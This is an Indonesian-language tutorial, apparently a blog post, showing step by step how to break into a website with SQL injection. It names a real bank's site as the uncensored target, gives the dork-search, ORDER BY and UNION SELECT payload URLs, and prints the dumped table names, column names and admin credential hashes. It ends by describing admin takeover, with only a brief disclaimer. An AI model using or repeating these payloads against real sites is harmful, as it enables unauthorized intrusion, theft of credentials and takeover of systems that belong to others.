0
Hai teman teman berikut ini adalah cara Web attack (hack website) menggunakan cara SQL injection. Ok langsung saja bisa kamu lihat di bawah ini :
1. Menemukan target
Kita dapat menemukan calon korban dengan bantuan search engine (Google masih yang terbaik) dengan memanfaatkan pola-pola tertentu. Pola-pola inilah yang disebut dengan Dork. Dork yang kita gunakan adalah untuk mencari pola yang berhubungan dengan SQL (Database) maka dork ini sering juga disebut dengan SQL Dork.
N0LDR
“Hal di atas merupakan alasan kuat bagi Admin untuk selalu update dengan isu keamanan karena kita bias saja menjadi korban walaupun kita tidak memiliki musuh. Dengan masuk ke daftar hasil pencarian maka kita telah menjadi calon korban”
Perlu diketahui, dengan dork yang sama belum tentu kita mendapatkan calon korban yang sama ! Untuk tutorial ini, saya menggunakan Dork (Google bisa lebih banyak memberikan SQL Dork kepada anda dari pada diri saya sendiri ):
Dari sekian banyak calon korban, maka:
http://www.bankpapua.com/kantor.php?jenis=2
merupakan target saya pada tutorial sederhana ini.
N0LDR
“Target sengaja tidak saya sensor agar PoC (Proof of Concept) pada tutorial ini jelas. Kepada para pembaca saya harapkan untuk tidak melakukan tindakan pengerusakan di kemudain hari pada web site ini. Ingat, dengan melakukan pengerusakan berarti anda membunuh karier terhormat anda di masa depan. Pergunakanlah sebatas pembelajaran”
2. Mencari celah kelemahan
Pengujian apakah calon korban memiliki kelemahan SQL atau tidak. Kita dapat menambahkan karakter minus (-) atau petik tunggal (‘) [tergantung pada sistem (- atau ‘)]pada query yang ada. Jika kita mendapatkan error berarti calon korban memiliki kelemahan terlepas dari bisa di injeksi lebih lanjut atau tidak.
(-) ditambahkan sebelum item pada query seperti berikut:
http://www.bankpapua.com/kantor.php?jenis=-2
(‘) ditambahkan sesudah item pada query seperti berikut:
http://www.bankpapua.com/kantor.php?jenis=2’
Pada tutorial ini, teknik kedua yang memunculkan error! (berarti web site target memiliki kelemahan SQL Injection. Error yang kita dapatkan adalah:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/sloki/user/u8543b/sites/bankpapua.com/www/kantor.php on line 118
3. Mendapatkan jumlah kolom
Tahap selanjutnya adalah mendapatkan jumlah kolom pada tabel aktif. Tekniknya adalah dengan menggunkan perintah order by sebagai berikut:
http://www.bankpapua.com/kantor.php?jenis=2+order+by+1--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+2--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+3--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+4--
http://www.bankpapua.com/kantor.php?jenis=2+order+by+5--
..
.
Kita lakukan pengujian satu persatu (boleh dilompat) hingga kita mendapatkan error yang berarti jumlah kolom terakhir (yang tidak error) merupakan jumlah kolom pada tabel aktif. Pada tutorial ini, kita mendapatkan error pada pengujian ke-6.
http://www.bankpapua.com/kantor.php?jenis=2+order+by+6--
Kita mendapatkan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/sloki/user/u8543b/sites/bankpapua.com/www/kantor.php on line 118
Berarti jumlah kolom pada tabel aktif adalah 5 (pengujian terakhir yang tidak error)
4. Mendapatkan angka keberuntungan
Angka keberuntungan adalah angka yang dimunculkan oleh sistem yaitu angka antara range jumlah kolom aktif (dalam kasus ini 1-5). Perintah yang kita gunakan adalah union select sebagai berikut:
http://www.bankpapua.com/kantor.php?...C2%2C3%2C4%2C5--
[Jangan lupa menambahkan karakter minus (-) pada awal key (pada kasus kita, key adalah 2)]. Kita mendapatkan angka 1,2,3, dan 4. Di angka-angka inilah tempat kita melakukan query.
5. Mendapatkan versi database server
Dapatkan versi server SQL (dalam kasus ini, MySQL) dengan perintah version(), atau @@version. Kita gunakan version() dan kita pilih angka 4:
http://www.bankpapua.com/kantor.php?...%2C3%2Cversion(),5--
Kita mendapatkan 5.0.51a-24+lenny4 yang berarti MySQL versi 5. Kita sedikit beruntung karena menemukan versi 5 jika versi 4 maka tahap berikutnya adalah “Tebak-tebak buah nanas”.
6. Mendapatkan nama tabel
http://www.bankpapua.com/kantor.php?...2Cgroup_concat(table_name),5+from+information_schema.tables+wher e+table_schema=database()--
Kita mendapatkan nama-nama tabel sebagai berikut:
adunasabah,agenda,anual,atm,atmprima,atmsama,berit a,birate,bunga,
galery,kantor,karir,kontak,konter,kurs,lapkeu,link ers,manajemen,pesertaquiz,
polling_d,polling_h,produk,promo,quiz_peserta,quiz _soal,regulasi,tamu,users. Dari sekian banyak kita pilih tabel users namun harus dikonversi ke heksadesimal terlebih dahulu. Silahkan kunjungi:
http://www.dolcevie.com/js/converter.html
kemudian kita mendapatkan (titik dua ( tidak diikutsertakan) users(ascii) -> 7573657273(hex)
7. Mendapatkan nama kolom
Gunakan perintah group_concat(column_name) dengan penyeleksian dari information_schema.columns sebagai berikut:
http://www.bankpapua.com/kantor.php?...2Cgroup_concat(column_name),5+from+information_schema.columns+wh ere+table_name=0x7573657273--
0x7573657273 kita dapatkan dengan menggabungkan 0x dengan 7573657273 (hasil konversi tadi). Kita mendapatkan nama-nama kolom sebagai berikut:
ids,username,password,fullname,address,a_add,a_edi t,a_del,topadmin,akses. Kita pilih username dan password.
8. Mendapatkan Data
Gunakan perintah group_concat(username,0x3a,password) dengan penyeleksian tabel users tadi sebagai berikut:
http://www.bankpapua.com/kantor.php?...2Cgroup_concat(username,0x3a,password),5+from+users--
Kita mendapatkan:
webmaster: †¥²¯d”¥´¹¥¥¨±¬²»©¦£vttz
sdm: †¥²¯d”¥´¹¥•¨±uvw
sekper: †¥²¯d”¥´¹¥•©¯´©¶uvw
Terenkripsi Tahap berikutnya adalah mendapatkan plain text dari password yang terenkripsi, google! Setelah dapat, cari halaman admin kemudian login dengan account webmaster, Anda telah berhasil take over http://www.bankpapua.com/